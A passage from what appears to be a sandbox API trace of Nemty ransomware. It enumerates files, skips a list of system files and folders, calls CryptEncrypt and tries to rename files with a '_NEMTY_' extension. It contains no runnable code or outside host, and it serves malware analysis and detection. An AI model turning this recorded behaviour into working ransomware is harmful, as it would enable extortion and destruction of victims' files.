Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0078.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0078.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0078.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0078.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0078.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0078.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0078.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0078.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0078.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0078.139] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2=".") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="..") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="...") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="windows") returned -1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="$RECYCLE.BIN") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="rsa") returned -1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="NTDETECT.COM") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="ntldr") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="MSDOS.SYS") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="IO.SYS") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="boot.ini") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="boot.ini") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="AUTOEXEC.BAT") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="ntuser.dat") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="desktop.ini") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="CONFIG.SYS") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="RECYCLER") returned -1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="BOOTSECT.BAK") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="bootmgr") returned 1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="programdata") returned -1 [0078.139] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="appdata") returned 1 [0078.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_videoinset.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0078.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_videoinset.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photoedge_videoinset.png", lpUsedDefaultChar=0x0) returned 24 [0078.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0078.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_videoinset.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0078.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_videoinset.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photoedge_videoinset.png", lpUsedDefaultChar=0x0) returned 24 [0078.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0078.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_videoinset.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0078.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0078.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_videoinset.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photoedge_videoinset.png", lpUsedDefaultChar=0x0) returned 24 [0078.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_videoinset.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0078.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0078.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photoedge_videoinset.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photoedge_videoinset.png", lpUsedDefaultChar=0x0) returned 24 [0078.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0078.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0078.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0078.140] Sleep (dwMilliseconds=0x5) [0078.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe23aed70, dwHighDateTime=0x1d561e7)) [0078.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe23aed70, dwHighDateTime=0x1d561e7)) [0078.154] GetLastError () returned 0x5 [0078.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0078.154] GetLastError () returned 0x5 [0078.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0078.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0078.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0078.154] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0078.154] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0078.154] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0078.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0078.154] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ec5c | out: pszString="ofkYFUy113lTDyoLopfa6r7zubLGQpe1duGB3W8K03rXy7IudFOmToCtKWRBqdza\r\niJYKI5/oH+0GwfZ2RniUB98COD0qGMcYV65AW1ZzWcZDRy+ORiiSO7KOywUDz708\r\nr51wXrZ//9ittOYaqG2PHUlP77vWAUvVwL/xj2QpCys1B/Xkmrdqy+MXkyBZXZ8f\r\n+pQ4JWXXpnps6vdIiO4j9auMo2DN8ZQoVHj4wBN3lph+MS96cDrJrOnISe2auq2q\r\npS96oZlSqzoC7vgs/Z4H2IefHutcy1sFBMrINhU+jMIc8YFc7/oTkZhon5iNQRq2\r\n5lWv8fY9RaOhAKAh8cdu0g==\r\n", pcchString=0x653ec5c) returned 1 [0078.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0078.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0078.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0078.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0078.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0078.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0078.155] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.155] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0078.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0078.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.155] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.184] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.228] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.228] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.258] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.258] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.258] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.265] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0078.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0078.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0078.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0078.271] CloseHandle (hObject=0xffffffff) returned 0 [0078.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0078.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0078.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0078.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0078.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0078.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0078.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0078.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94330 [0078.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0078.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0078.271] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png._nemty_kgobjgd_")) returned 0 [0078.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0078.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0078.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0078.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0078.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0078.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0078.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0078.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0078.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0078.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0078.272] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2=".") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="..") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="...") returned 1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="windows") returned -1 [0078.272] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0078.272] lstrcmpiW 